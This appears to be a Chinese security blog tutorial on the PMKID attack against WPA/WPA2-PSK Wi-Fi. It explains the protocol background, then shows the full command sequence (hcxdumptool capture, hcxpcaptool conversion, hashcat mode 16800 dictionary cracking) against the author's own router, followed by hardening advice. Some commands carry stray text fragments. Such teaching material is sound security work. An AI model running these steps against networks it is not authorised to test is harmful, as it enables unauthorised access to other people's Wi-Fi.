0x01 前言▸
2018年8月4日，在hashcat论坛上一位安全研究员发了一个帖子，声称他在研究WPA3的安全性时无意中发现了一种全新的预共享密钥攻击方式，通过使用PMKID（Pairwise Master Key Identifier，成对主密钥标识符）破解WPA/WPA2的预共享密钥，轰动了全球。这种“无客户端攻击”方法的出现，标志着暴力破解不再需要有活跃客户端的参与，但应用的条件有限，受影响范围较低。
0x02 攻击原理▸
1.介绍▸
在本系列文章的第二篇介绍了WPA2-PSK破解的原理，其必要条件是需要有EAPoL四次握手的报文，进而通过比较MIC值判断密钥是否正确。但是本文要介绍的这种方法的最大区别就在于它并不需要EAPoL四次握手包即可进行PSK的暴力破解。通过PMKID进行无客户端暴力破解PSK的攻击方式并没有造成特别大的影响，因为它利用了RSN IE (Robust Security Network Information Element)，漏洞的发现者称它适用于所有支持漫游功能的802.11i/p/q/r网络，这些特征在较高级的路由器上得到支持。360安全研究院高级安全研究员兼产品经理、天马安全团队核心成员杨芸菲(qingxp9)统计了家庭网络和写字楼中受此漏洞威胁的Wi-Fi网络实际上不足3%。这种方式之所以被称为“无客户端”攻击，是因为它是攻击者直接和AP对话的。
2.RSN▸
RSN IE是强健安全网络信息元素的简称，RSN要求必须使用AES加密以加强安全性，是一个802.11i的安全标准。其实，在2004年IEEE 802.11i修订完成后，WiFi联盟推出了沿用至今的WPA2，WPA2的加密由TKIP更新为AES正是因为RSN的要求。为了增强安全性，IEEE 802.11i为RSN提供了两个重要的协议：四次握手和主密钥握手，WPA/WPA2中的四次握手就源于此，因为它们都是基于802.11i的，顺便一提，WPA实际上是802.11i的一个草案标准，在802.11i修订成功后WiFi联盟便正式对其进行了升级并正式推出WPA2，所以WPA也使用四次握手也就不足为奇了。RSN IE最大为255字节，报文结构如下：
RSN IE是802.11管理帧中的一个可变长度的可选字段，存在于在这些类型的帧中：
-
Beacon frames.(send by AP)
-
Probe Response frames.(send by AP)
-
Association Request frames.(send by Client)
-
Reassociation Request frames (Send by client)
如果想通过wireshark抓包，可以通过这个过滤器来抓取这4种管理帧：
wlan.fc.type == 0 && (wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x05 wlan.fc.type_subtype == 0x08)
3.PMKID▸
PMKID存在于RSN Information中的RSN Capabilies字段内。该漏洞发现者在hashcat论坛原文中贴出了PMKID的wireshark报文截图：
PMKID是通过PMK等进行哈希得到的一个哈希值，其计算公式为：
PMKID = HMAC-SHA1-128(PMK, “PMK Name” MAC_AP MAC_STA)
让我们再次回顾EAPoL四次握手：在完成链路关联后开始四次握手，可以看到，第一个携带着EAPoL Key的消息是由AP发出的：
因此，攻击者可以与AP开始四次握手，在四次握手的Message 1中得到所需要的数据，之后进行哈希爆破，并不需要其他客户端的参与。
4.IEEE 802.11r▸
该攻击方法的提出者称这种方法应用于支持漫游的WPA/WPA2-PSK认证的Wi-Fi网络。所谓漫游是一种支持从一个基站快速“无缝”切换到另一个基站的技术。举个例子，假设坐在高铁上打了10分钟的电话，高铁的速度是300km/h，那么这10分钟高铁行走了50公里，一个4G的基站的信号覆盖范围只有几百米，对于50公里肯定切换了很多个基站，但排除信号不好的情况下电话并没有发生卡顿，通话者也毫无感觉，这就是漫游。更多相关知识请参考CCIE Wireless或CWSP认证相关文档。
0x03 攻击实现▸
环境介绍：
-
PSK：wWw.Gem-Love.Com
-
认证：WPA2-PSK
-
客户端：无
-
路由器型号：Cisco CVR100W SmallBusiness VPN Router
-
攻击者：Kali Linux 2019.4
1.工具安装▸
本攻击需要hcxtools/hcxdumptol/hashcat这三个工具
① 安装hcxtools▸
b
git clone https://github.con/ZerBea/hcxtools.git
make
make install
② 安装hcxdumptool
git clone https://github.com/ZerBea/hcxdumptool.git
make
make installpaintext
③ 安装hashcat▸
hashcat在kali linux下自带了。安装方式：▸
pla
git clone https://github.com/hashcat/hashcat.git
make
make installintext
2.捕获PMKID▸
首先用airmon-ng将网卡置于Monitor Mode
airmon-ng start wlan0使用hcxdumptool破获PMKID
hcxdumptool -o /root/y1ng.pcapng -i wlan0mon --enable_status=1在最下面可以看到这样的消息，表示获取PMKID成功：
16:52:59 4 b0febdd69882 <-> 10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco_GEM-LOVE.COM)
获取到目标的PMKID就可以暂停了
3.格式转换▸
这一步 目的是将刚刚的pccap包转换成hashcat可用的格式，使用hcxpcaptool：
hcxpcaptool -z y1ng.16800 y1ng.pcapng
这个16800可以通过hashcat --help查看帮助看到对应的hash类型：
16800 WPA-PMKID-PBKDF2 Network Protocols
导出的16800格式的文件会每个PMKID占一行，打开是这样的：
用3个星号将它们分成4个部分，分别表示：
-
PMKID
-
MAC AP
-
MAC Station
-
ESSID
4.暴力破解▸
之后就可以使用hashcat进行破解了，我使用了一个包含100个密码的字典来演示，其中有我的正确的密码：
命令：
hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt –force
相关参数的解释：
-w, --workload-profile Num Enable a specific workload profile, see pool below -w 3
- [ Workload Profiles ] -
# Performance Runtime Power Consumption Desktop Impact
===+=============+=========+===================+=================
1 Low 2 ms Low Minimal
2 Default 12 ms Economic Noticeable
3 High 96 ms High Unresponsive
4 Nightmare 480 ms Insane Headless
-a, --attack-mode Num Attack-mode, see references below -a 3
- [ Attack Modes ] -
# Mode
===+======
0 Straight
1 Combination
3 Brute-force
6 Hybrid Wordlist + Mask
7 Hybrid Mask + Wordlist--force是可选参数，用来忽略一些warning，如果报warning的话就加上 爆破成功则会得到预共享密钥了
0x04 安全建议▸
-
无客户端攻击扔是离线暴力破解攻击，需要用户增强PSK密钥强度
-
若无需要且条件允许则关闭Roaming
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及时更新路由器固件，摒弃不良Wi-Fi上网习惯，不用“万能钥匙”，不连接公共Wi-Fi
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作者：颖奇L'Amore
原文地址：https://www.gem-love.com/
关 注 有 礼
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原文始发于微信公众号（渗透测试网络安全）：PMKID攻击 无需握手包破解WPA/WPA2 PSK
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